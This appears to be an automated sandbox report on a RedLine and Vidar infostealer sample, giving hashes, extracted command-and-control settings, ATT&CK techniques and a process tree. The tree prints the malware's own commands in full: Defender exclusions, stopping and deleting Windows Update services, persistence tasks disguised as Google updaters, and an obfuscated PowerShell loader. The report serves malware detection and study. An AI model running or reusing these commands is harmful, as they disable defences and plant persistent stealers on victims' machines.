redline | d51b59d11c7ce7a34f7568b108f253a337c19b2cbfa8778f5f5bf7ab8d0a439b

Analysis

max time kernel
53s
max time network
136s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
25/10/2022, 01:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
D51B59D11C7CE7A34F7568B108F253A337C19B2CBFA87.exe
Size 2.6MB
Sample221025-bc75rsbbc2
SHA256 d51b59d11c7ce7a34f7568b108f253a337c19b2cbfa8778f5f5bf7ab8d0a439b
MD5 92bcfad1bc78df4fee073b920875ab65
SHA1 e186d3ceb7c50ee5e0ce083b748c8ff66faefa5b
SHA512 6913e0e68c9bc890c5d68bd62cd3148062a244e7dc907ffa5705d9a9ff69d4a08aee7d56f7c7b5b4498c5b20ecad3c146fb52de7c5c8f9e5067e02968786a9ab
SSDEEP 24576:9TyIlYnyLmB3h9HGe+VYlYrwqhruvMkVdbO1EpI3ktdtBUMCNcIVYL/8lQKl3Ruh:RyIlYnemb9HFlS/udtB3CNcIVYwl3U
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline vidar 1707 evasion infostealer spyware stealer upx

Malware Config

Extracted

Family

redline

62.204.41.141:24758

Attributes

auth_value
471f1f44fcc902e9d158f892e368d3a7

Extracted

Family

vidar

Version

55.2

Botnet

1707

https://t.me/slivetalks
https://c.im/@xinibin420

Attributes

profile_id
1707

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	dialer.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	dialer.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral1/memory/94960-56-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/94960-61-0x000000000041B53E-mapping.dmp	family_redline
behavioral1/memory/94960-62-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/94960-63-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Downloads MZ/PE file

Executes dropped EXE 5 IoCs

pid	Process
94992	ofg.exe
1716	test.exe
5004	brave.exe
8076	chrome.exe
100224	updater.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000f0000000126f1-79.dat	upx
behavioral1/files/0x000f0000000126f1-81.dat	upx
behavioral1/memory/5004-87-0x000000013F820000-0x000000013FCE1000-memory.dmp	upx
behavioral1/files/0x000f0000000126f1-158.dat	upx
behavioral1/memory/5004-161-0x000000013F820000-0x000000013FCE1000-memory.dmp	upx
behavioral1/files/0x00090000000136c6-181.dat	upx
behavioral1/files/0x00090000000136c6-185.dat	upx
behavioral1/memory/100224-192-0x000000013F220000-0x000000013F6E1000-memory.dmp	upx

Loads dropped DLL 18 IoCs

pid	Process
94960	AppLaunch.exe
94960	AppLaunch.exe
94960	AppLaunch.exe
94960	AppLaunch.exe
94960	AppLaunch.exe
94960	AppLaunch.exe
53924	WerFault.exe
53924	WerFault.exe
53924	WerFault.exe
53924	WerFault.exe
53924	WerFault.exe
100068	WerFault.exe
100068	WerFault.exe
100068	WerFault.exe
100024	vbc.exe
100024	vbc.exe
100024	vbc.exe
100316	taskeng.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 948 set thread context of 94960	948	D51B59D11C7CE7A34F7568B108F253A337C19B2CBFA87.exe	29
PID 1716 set thread context of 100024	1716	test.exe	46
PID 5004 set thread context of 100324	5004	brave.exe	73

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	brave.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\GoogleUpdate.exe	chrome.exe
File created	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File created	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	dialer.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
100196	sc.exe
100232	sc.exe
100504	sc.exe
100196	sc.exe
100328	sc.exe
100344	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
53924	8076	WerFault.exe	38
100068	1716	WerFault.exe	35

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	vbc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	vbc.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1728	schtasks.exe
9712	SCHTASKS.exe
53160	SCHTASKS.exe
100308	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
100088	timeout.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e08e60271ee8d801	powershell.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
94960	AppLaunch.exe
8764	powershell.exe
100200	powershell.exe
100080	powershell.exe
1328	powershell.exe
100024	vbc.exe
100344	powershell.EXE

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	94960	AppLaunch.exe
Token: SeDebugPrivilege	94992	ofg.exe
Token: SeDebugPrivilege	8764	powershell.exe
Token: SeDebugPrivilege	100200	powershell.exe
Token: SeShutdownPrivilege	100308	schtasks.exe
Token: SeShutdownPrivilege	100228	powercfg.exe
Token: SeShutdownPrivilege	100060	powercfg.exe
Token: SeDebugPrivilege	100080	powershell.exe
Token: SeShutdownPrivilege	100308	schtasks.exe
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeDebugPrivilege	100344	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 948 wrote to memory of 94960	948	D51B59D11C7CE7A34F7568B108F253A337C19B2CBFA87.exe	29
PID 948 wrote to memory of 94960	948	D51B59D11C7CE7A34F7568B108F253A337C19B2CBFA87.exe	29
PID 948 wrote to memory of 94960	948	D51B59D11C7CE7A34F7568B108F253A337C19B2CBFA87.exe	29
PID 948 wrote to memory of 94960	948	D51B59D11C7CE7A34F7568B108F253A337C19B2CBFA87.exe	29
PID 948 wrote to memory of 94960	948	D51B59D11C7CE7A34F7568B108F253A337C19B2CBFA87.exe	29
PID 948 wrote to memory of 94960	948	D51B59D11C7CE7A34F7568B108F253A337C19B2CBFA87.exe	29
PID 948 wrote to memory of 94960	948	D51B59D11C7CE7A34F7568B108F253A337C19B2CBFA87.exe	29
PID 948 wrote to memory of 94960	948	D51B59D11C7CE7A34F7568B108F253A337C19B2CBFA87.exe	29
PID 948 wrote to memory of 94960	948	D51B59D11C7CE7A34F7568B108F253A337C19B2CBFA87.exe	29
PID 94960 wrote to memory of 94992	94960	AppLaunch.exe	31
PID 94960 wrote to memory of 94992	94960	AppLaunch.exe	31
PID 94960 wrote to memory of 94992	94960	AppLaunch.exe	31
PID 94960 wrote to memory of 94992	94960	AppLaunch.exe	31
PID 94992 wrote to memory of 1992	94992	ofg.exe	32
PID 94992 wrote to memory of 1992	94992	ofg.exe	32
PID 94992 wrote to memory of 1992	94992	ofg.exe	32
PID 1992 wrote to memory of 1728	1992	cmd.exe	34
PID 1992 wrote to memory of 1728	1992	cmd.exe	34
PID 1992 wrote to memory of 1728	1992	cmd.exe	34
PID 94960 wrote to memory of 1716	94960	AppLaunch.exe	35
PID 94960 wrote to memory of 1716	94960	AppLaunch.exe	35
PID 94960 wrote to memory of 1716	94960	AppLaunch.exe	35
PID 94960 wrote to memory of 1716	94960	AppLaunch.exe	35
PID 94960 wrote to memory of 1716	94960	AppLaunch.exe	35
PID 94960 wrote to memory of 1716	94960	AppLaunch.exe	35
PID 94960 wrote to memory of 1716	94960	AppLaunch.exe	35
PID 94960 wrote to memory of 5004	94960	AppLaunch.exe	37
PID 94960 wrote to memory of 5004	94960	AppLaunch.exe	37
PID 94960 wrote to memory of 5004	94960	AppLaunch.exe	37
PID 94960 wrote to memory of 5004	94960	AppLaunch.exe	37
PID 94960 wrote to memory of 8076	94960	AppLaunch.exe	38
PID 94960 wrote to memory of 8076	94960	AppLaunch.exe	38
PID 94960 wrote to memory of 8076	94960	AppLaunch.exe	38
PID 94960 wrote to memory of 8076	94960	AppLaunch.exe	38
PID 94960 wrote to memory of 8076	94960	AppLaunch.exe	38
PID 94960 wrote to memory of 8076	94960	AppLaunch.exe	38
PID 94960 wrote to memory of 8076	94960	AppLaunch.exe	38
PID 8076 wrote to memory of 8764	8076	chrome.exe	39
PID 8076 wrote to memory of 8764	8076	chrome.exe	39
PID 8076 wrote to memory of 8764	8076	chrome.exe	39
PID 8076 wrote to memory of 8764	8076	chrome.exe	39
PID 8076 wrote to memory of 8764	8076	chrome.exe	39
PID 8076 wrote to memory of 8764	8076	chrome.exe	39
PID 8076 wrote to memory of 8764	8076	chrome.exe	39
PID 8076 wrote to memory of 9712	8076	chrome.exe	40
PID 8076 wrote to memory of 9712	8076	chrome.exe	40
PID 8076 wrote to memory of 9712	8076	chrome.exe	40
PID 8076 wrote to memory of 9712	8076	chrome.exe	40
PID 8076 wrote to memory of 9712	8076	chrome.exe	40
PID 8076 wrote to memory of 9712	8076	chrome.exe	40
PID 8076 wrote to memory of 9712	8076	chrome.exe	40
PID 8076 wrote to memory of 53160	8076	chrome.exe	43
PID 8076 wrote to memory of 53160	8076	chrome.exe	43
PID 8076 wrote to memory of 53160	8076	chrome.exe	43
PID 8076 wrote to memory of 53160	8076	chrome.exe	43
PID 8076 wrote to memory of 53160	8076	chrome.exe	43
PID 8076 wrote to memory of 53160	8076	chrome.exe	43
PID 8076 wrote to memory of 53160	8076	chrome.exe	43
PID 8076 wrote to memory of 53924	8076	chrome.exe	44
PID 8076 wrote to memory of 53924	8076	chrome.exe	44
PID 8076 wrote to memory of 53924	8076	chrome.exe	44
PID 8076 wrote to memory of 53924	8076	chrome.exe	44
PID 8076 wrote to memory of 53924	8076	chrome.exe	44
PID 8076 wrote to memory of 53924	8076	chrome.exe	44

C:\Users\Admin\AppData\Local\Temp\D51B59D11C7CE7A34F7568B108F253A337C19B2CBFA87.exe
"C:\Users\Admin\AppData\Local\Temp\D51B59D11C7CE7A34F7568B108F253A337C19B2CBFA87.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:948
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:94960
- - C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
    "C:\Users\Admin\AppData\Local\Microsoft\ofg.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:94992
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /C schtasks /create /tn \o5jbkg8hsq /tr "C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1992
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \o5jbkg8hsq /tr "C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
        5⤵
        Creates scheduled task(s)
        
        PID:1728
- - C:\Users\Admin\AppData\Local\Microsoft\test.exe
    "C:\Users\Admin\AppData\Local\Microsoft\test.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:1716
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      4⤵
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:100024
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe" & exit
        5⤵
        
        PID:100036
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        6⤵
        Delays execution with timeout.exe
        
        PID:100088
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1716 -s 98696
      4⤵
      Loads dropped DLL
      Program crash
      PID:100068
- - C:\Users\Admin\AppData\Local\Microsoft\brave.exe
    "C:\Users\Admin\AppData\Local\Microsoft\brave.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Drops file in Program Files directory
    PID:5004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:100200
  - - C:\Windows\system32\cmd.exe
      cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:100044
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:100196
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:100328
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:100344
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:100196
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:100232
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        5⤵
        
        PID:100220
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        5⤵
        
        PID:100208
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        5⤵
        
        PID:100324
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        
        PID:100328
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        5⤵
        
        PID:100196
  - - C:\Windows\system32\cmd.exe
      cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      PID:100056
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        
        PID:100308
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:100228
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:100060
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        
        PID:100308
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:100080
    - - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
        5⤵
        Creates scheduled task(s)
        Suspicious use of AdjustPrivilegeToken
        
        PID:100308
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      Modifies security service
      Drops file in Windows directory
      PID:100324
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1328
    - - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        5⤵
        
        PID:100256
- - C:\Users\Admin\AppData\Local\Microsoft\chrome.exe
    "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of WriteProcessMemory
    PID:8076
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:8764
  - - C:\Windows\SysWOW64\SCHTASKS.exe
      SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:9712
  - - C:\Windows\SysWOW64\SCHTASKS.exe
      SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:53160
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 8076 -s 212
      4⤵
      Loads dropped DLL
      Program crash
      PID:53924

C:\Windows\system32\taskeng.exe
taskeng.exe {1D36E1C0-441E-4C0C-A948-1CDA04360706} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
PID:100316
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Executes dropped EXE
  PID:100224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
    3⤵
    PID:101152
- - C:\Windows\system32\cmd.exe
    cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:101336
  - - C:\Windows\system32\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:100504
- - C:\Windows\system32\cmd.exe
    cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
    3⤵
    PID:100448
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:100344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
  2⤵
  - Drops file in System32 directory
  PID:100264

C:\Windows\system32\taskeng.exe
taskeng.exe {F94F8FBB-FB94-41BA-8555-3E780A5E743A} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]
1⤵
PID:100276
- C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe
  C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe
  2⤵
  PID:100196

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{e5797dac-15db-4b4a-b203-d470f73c1243}
1⤵
PID:100292

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{c837baee-d86f-426e-8979-0ee84b69df23}
1⤵
PID:100040

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 3.2MB
SHA256 0af01618c8b68b42870b2fa8b0ee79ce961a3199cd8c006c7d1e770abb93030c
MD5 ae58e8058ae55a3dd3eefccb4a48be78
SHA1 09fc0b2194e8b8b5d690650057805b8966305f3e
SHA512 fadcacb167576455ee3a1ac8e45d34c5d8aeb428490eb14572ecb8580622f5b4d82d46a9823ec0b6e7e0a4637749f8ffc35525ac7068f2236f358c353a447c99
SSDEEP 98304:h+TH5w8D7qD6BlctF/lpx5wwVbJMqyw6jrraMEyR1oujZNXgwVvavDKmU:eH5FDgtFtHX7yw6L/r4KLQwV1
MD5 SHA1 SHA512 SSDEEP

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Size 60KB
SHA256 f8ebaaf487cba0c81a17c8cd680bdd2dd8e90d2114ecc54844cffc0cc647848e
MD5 d15aaa7c9be910a9898260767e2490e1
SHA1 2090c53f8d9fc3fbdbafd3a1e4dc25520eb74388
SHA512 7e1c1a683914b961b5cc2fe5e4ae288b60bab43bfaa21ce4972772aa0589615c19f57e672e1d93e50a7ed7b76fbd2f1b421089dcaed277120b93f8e91b18af94
SSDEEP 1536:6VT6EGIYmIA2VKd1ZepH+41ZnDVrFyv+7XAZa7pAn:A6JI5IjOcTZDGvYXAZhn
MD5 SHA1 SHA512 SSDEEP

Submit Download

6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Size 438B
SHA256 c4b0a91640bc0f2a1a8f1249865a5010ac8875002eed882e274095072b37b582
MD5 d288ead2e70b3f71fb904699e3e71425
SHA1 64238abe877c1fa1039082344335ad090908b678
SHA512 afc714964c48a1bf95004f5e5e8371f7dea946388991305d1dadc73e21ca18670f0d03289819a237cce40b5174b2541041b4be0374a4849e7f24bb955a119eda
MD5 SHA1 SHA512

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 342B
SHA256 d517c99ec3d44ce2010d9e576ae2c620f51871ff3c1861f8184135248977cffe
MD5 94a88d3de34e4af3f4008b393fa54fa2
SHA1 11ac803591843d84905200aa0527c5f9ec90def1
SHA512 c069948a06dc0ebcef0a50de5642aade2a2b78ae5554c426471492c744ed90496c0e3b68d38c1bb87480a91e7d7afd91733d9a103c55bf86f7db1222c4df66b8
MD5 SHA1 SHA512

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 342B
SHA256 46da5e3697294d329fd5e26900f5668d884325ffd1f822a997bed6a78d38f9c7
MD5 3ed3df0f75a2ebfcca901eecf0278936
SHA1 d395c686fa857e709f002267704fa806954762a0
SHA512 ba17bdd28fdab66be525121ba23fe9a83d018450f2dc020a47ee7e03993eda18e0b7af88a9ddbefd19bcdb5067152389a6d4d1bc484af083d35be10011d3a280
MD5 SHA1 SHA512

Submit Download

9FF67FB3141440EED32363089565AE60_FA7D89FF3F7E3B2FB6EEB355120CB669

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9FF67FB3141440EED32363089565AE60_FA7D89FF3F7E3B2FB6EEB355120CB669
Size 426B
